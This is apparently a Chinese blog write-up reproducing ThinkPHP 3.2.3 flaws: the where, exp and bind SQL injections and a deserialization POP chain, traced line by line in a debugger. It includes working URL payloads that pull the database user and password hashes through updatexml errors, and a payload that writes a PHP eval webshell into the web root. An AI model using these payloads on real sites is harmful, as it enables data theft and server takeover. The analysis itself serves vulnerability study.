趁热打铁,把ThinkPHP3的相关漏洞都复现一下
ThinkPHP3
环境搭建
PHP5.5.9+ThinkPHP3.2.3
方法一
源码下载链接:http://m.lxywzjs.com/wap/article/index/artid/199.html
打开phpstudy,新建一个网站

将源码文件解压放到thinkphp3的文件夹内即可
方法二
像方法一那样打开phpstudy,新建一个网站
创建好网站后先下载下composer工具,可以从软件管理 => composer处下载

下载好后在管理打开composer
选择php版本为大于5.3的

然后执行命令安装
1 | composer create-project topthink/thinkphp:v3.2.3 tp3 |
安装成功后将tp3文件夹内的所有文件移到根目录thinkphp3下

最后在刚刚执行composer命令的终端更新一下即可
1 | composer update |

访问./index.php出现以下界面,说明环境搭建成功

数据库配置
配置文件位置ThinkPHP/Conf/convention.php
参数配置如下
1 | <?php |
在thinkphp3下载一个管理工具phpMyAdmin,绑定thinkphp3网站

创建thinkphp3数据库,登录phpMyAdmin
创建表的字段如下(注意数据表前缀和配置文件相同)

ThinkPHP3.2.3 where注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
结合报错注入
1 | ?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# |
执行POC,通过报错得到user

如果要执行查询表,注意表名是带前缀的think_user
1 | ?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from think_user limit 1),0x7e),1)# |
漏洞分析
我们在$id和$data分别下断点

执行id=1',进行调试
跟进到ThinkPHP\Common\functions.php的I()方法,接收$name参数

这里的$name的值就为GET.id,我们下断点理解容易点
最后执行switch选择GET方法后break,$input数组为我们传参的id=1'

我们往下翻,由于$name不为空,那么来到第388行的elseif语句

这里进行判断$input数组的$name是否为空,而$name就是我们GET传参的参数id。判断为真后赋值给$data
我们继续在第391行打上断点,调试发现执行完$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
$filters被赋值为htmlspecialchars

这部分代码无关紧要,我们跳到第406行看看

这里将$filters赋值给$filter也就是htmlspecialchars,然后如果该函数存在且$data不为数组,那么执行参数过滤也就是执行htmlspecialchars($data)。继续往后看,这里代码逻辑是如果$data为数组,那么执行以下命令
1 | array_walk_recursive($data, 'think_filter') |

我们把GET传参改为?id[where]=1',并在这里下断点进行调试
跟进发现跳转到think_filter()方法,这里就是进行一个对SQL注入关键字的过滤

最后返回值$data即1',这里的返回值作为后面find方法的输入(非常关键)
回到Application\Home\Controller\IndexController.class.php,把第9行和前面打的断点去掉,只留下第10行的断点,调试跟进一下

来到ThinkPHP\Common\functions.php的M()方法

这里传参进来的是$name为user,由于$name不存在:所以$class默认赋值为Think\Model。$guid也由于$connection为空所以进行拼接,我们下断点看看,结果为user_Think\Model

然后因为$_model数组为空,所以这里进行实例化Model类
下断点调试,直接F10逐过程跟进到ThinkPHP\Library\Think\Model.class.php的Model类的find方法

这里我们单步调试一行行看,注意$options就是我们前面提到的返回值$data,如果为字符型或者数字型,那么赋值给$options数组的where键。类似下面在这种格式
1 | $options=["where" => ["id" => "1'"]]; |
这个地方是where注入的核心点,我们可以传递数组
$data绕过if语句的赋值,通过类似污染的手段直接对$options['where']赋值来绕过后面的数据验证,具体分析后面会提到
继续往后看这里调用_parseOptions()方法

跟进一下,注意到存在对传参数据进行验证

这里if条件均为真,继续到foreach对字段进行匹配,接着跟进一下_parseType()方法
1 | protected function _parseType(&$data, $key) |
在这里会把 id 进行强制类型转换,我们的1'变成1然后返回给_parseOptions(),最终带入$this->db->select($options)进行查询从而避免注入问题

总结
注入点是where键,链子:传入id=1' -> I() -> find() -> _parseOptions() -> _parseType()
而我们的id参数被改变的位置就在_parseType()中,进入这个方法的位置是ThinkPHP/Library/Think/Model.class.php:704
1 | if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) |
我们要不经过if语句才能不被强制类型转换,这里破坏的条件是is_array($options['where']),我们前面有讲到GET传参会赋值给where键,那么我们可以直接赋值where键即可实现绕过
被强制类型转换
1 | ?id=1' #变为1,即查询id=1的数据 |

直接赋值绕过
1 | ?id[where]=1' #查询不到id=1'的数据,成功注入 |

以上就是整个where注入的代码逻辑
ThinkPHP3.2.3 exp注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
执行POC,通过报错得到user
1 | ?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1) |
注:这里后面的是==

漏洞分析
在入口文件的第9行下断点,执行?id=1'

调试跟进一下,在第654行下断点

可以发现这里$class经过parse_res_name()处理赋值为Home\Model\UserModel。由于该类不存在进入elseif语句,然后if语句为false,继续进入else语句,$class赋值为\Common\Model\userModel。接着如果该类还不存在,那么实例化Think\Model类

最后返回Model对象
回到入口文件后接收GET参数id,然后调用Model类的where()方法

$where就是我们传参的数组["id" => "1'"],而这里前面的if语句都不满足,直接跳到最后。因为options数组不存在where键,所以执行$this->options['where'] = $where;

继续跟进到ThinkPHP\Library\Think\Model.class.php的Model类的find方法,这里和where注入的代码逻辑差不多,不过我们没有绕过_parseType()方法。直接到$this->db->select($options);

在第822行下断点,调试跟进一下select()方法

在第1039行下断点,继续跟进buildSelectSql()方法

在第1060行下断点,继续跟进parseSql()方法

这里将$sql查询语句中的参数进行替换,我们的$option数组如下

所以我们在第1079行下断点跟进parseWhere()方法,由于$where是数组,进入else语句

然后foreach遍历where数组赋值,后面的if语句均为flase直接到第586行执行
1 | $whereStr .= $this->parseWhereItem($this->parseKey($key), $val); |
这里$key要先经过parseKey()处理,继续跟进parseWhereItem()方法

这部分就是代码的核心,首先判断$val是否为数组,然后根据$val[0]的参数值不同来执行代码。接着如果$exp为bind或exp, $whereStr会将$key与$val[1]进行拼接,所以我们payload如下
1 | ?id[0]=exp&id[1]==1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1) |
注:进行拼接的时候$val[1]需要有=,这样拼接后SQL查询语句才正确

最后再与where拼接替换到原SQL查询语句即可
1 | ... where `id` =1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1) |
以上就是整个exp注入的代码逻辑
ThinkPHP3.2.3 bind注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
执行POC,得到user
1 | ?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1 |
注:这里为id[1]=0

漏洞分析
我们执行POC,在入口文件第12行下断点

单步调试,跟进ThinkPHP\Library\Think\Model.class.php的save()方法

往下翻一下,这里代码逻辑和前面exp注入时分析的差不多
出现_parseOptions()方法进行强制类型转换

继续往下在第480行下断点,跟进一下

这里我们可以看到有调用parseWhere()方法

我们前面在exp注入分析的时候有提到过,会继续调用parseWhereItem()方法,然后根据$id[1]的值不同来执行代码,其中如果等于bind的话会与=:拼接

我们尝试传入以下代码
1 | ?id[0]=bind&id[1]=aa |
可以发现SQL语句报错
不难发现多了个冒号变成:aa,怎么样可以消除掉冒号呢?
把GET传参改回POC,我们在第985行下断点跟进parseSet()方法

if语句不满足直接跳到第417的else语句,这里bind数组还是为空所以$name赋值为0,然后继续跟进bindParam()方法进行bind参数绑定,相当于得到$bind数组为[":0" =>"1"]
1 | protected function bindParam($name, $value) |
这里了解参数绑定过程后,单步跳出回到update()方法
我们往下看注意第997行的execute()方法

跟进到 ThinkPHP/Library/Think/Db/Driver.class.php:207的execute()

重点看下面代码
1 | if (!empty($this->bind)) { |
这里的function是匿名函数,接收参数$val然后进行escapeString()处理(也就是转义处理),然后将$val拼接两个单引号并返回值。
1 | //匿名函数 |
这里使用了array_map()函数为数组的每个元素应用回调函数(上面说到的匿名函数),而bind数组为[":0" =>"1"],所以执行结果为'1',bind数组变为为[":0" =>"'1'"]
最后执行strtr()函数,我们在PHP中文手册查找下此函数,看下给的DEMO其实不难理解
具体就以下两点
- 第一个参数是目标字符串
- 第二个参数是替换规则,由数组决定

所以我们bind数组就是替换规则,即:0替换成'1'。我们前面提到过id[0]=bind会使得查询语句与:拼接,而在这里我们让id[1]的值与:拼接后构造出:0,然后再被替换成'1'。所以这也是为什么我们POC会是0不是其他值
我们下断点看看前后变化,可以发现经过构造使得SQL查询语句的:0均被替换

以上就是整个bind注入的代码逻辑
ThinkPHP3.2.3 反序列化漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
1 |
|
执行结果如下

不过由于报错注入权限比较低,我们要想拿shell的话需要写入木马,所以可以开启堆叠后写入一句话木马
修改下table键就行
1 | think_user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# |
POP链分析
因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()
注:在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则
比如下图这个,没啥可控参数就不好利用

这里我们选择ThinkPHP\Library\Think\Image\Driver\Imagick.class.php的__dustruct()方法

如果$this-img不为空,那么调用destroy()
注:这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时ThinkPHP会报错,而在PHP5版本中不会报错,这也是为什么我们选择PHP5版本搭建
继续全局搜索destroy()方法,跟进ThinkPHP\Library\Think\Session\Driver\Memcache.class.php
1 | public function destroy($sessID) |
这里的delete()方法的参数看似可控,其实不可控,因为下方全局搜索后,delete()方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

虽然不可控,但我们还是全局搜索一下

注意到ThinkPHP\Mode\Lite\Model.class.php这里的delete()方法又调用了一次delete()方法,而这里传入的参数是data[pk],我们跟进一下getPk(),发现完全可控
1 | public function getPk() |
我们在这个方法先添加一行代码echo "<br>"."success";,验证一下思路是否正确
前面一共涉及到三个类,链子为Imagick -> Memcache -> Model,然后构造demo如下
1 | <?php |
执行结果如下

接下来继续分析,这里$data可控,然后再次调用delete()方法说明$options可控
我们往下翻注意到第528行有调用delete()方法,那么我们就可以调用自带的数据库类 Mysql.class.php 中的 delete() 方法。不过这里前提是绕过第517行的if语句,所以按照注释我们设 where 键为1=1即可

结合全局搜索的结果我们跟进到ThinkPHP\Library\Think\Db\Driver.class.php看看

跟进parseTable()方法
1 | protected function parseTable($tables) |
这里只调用了parseKey()方法,继续跟进
1 | protected function parseKey(&$key) |
没有过滤,直接将传入的参数返回
回到Driver.class.php,我们注意$sql是将$table和DELETE FROM字符串进行拼接,所以这里我们可以通过options[table]去进行报错注入。整理一下POP链为:Imagick -> Memcache -> Model -> Mysql,我们最后只需在Mysql类配置数据库连接信息即可
1 | namespace Think\Db\Driver { |
以上就是反序列化漏洞的完整分析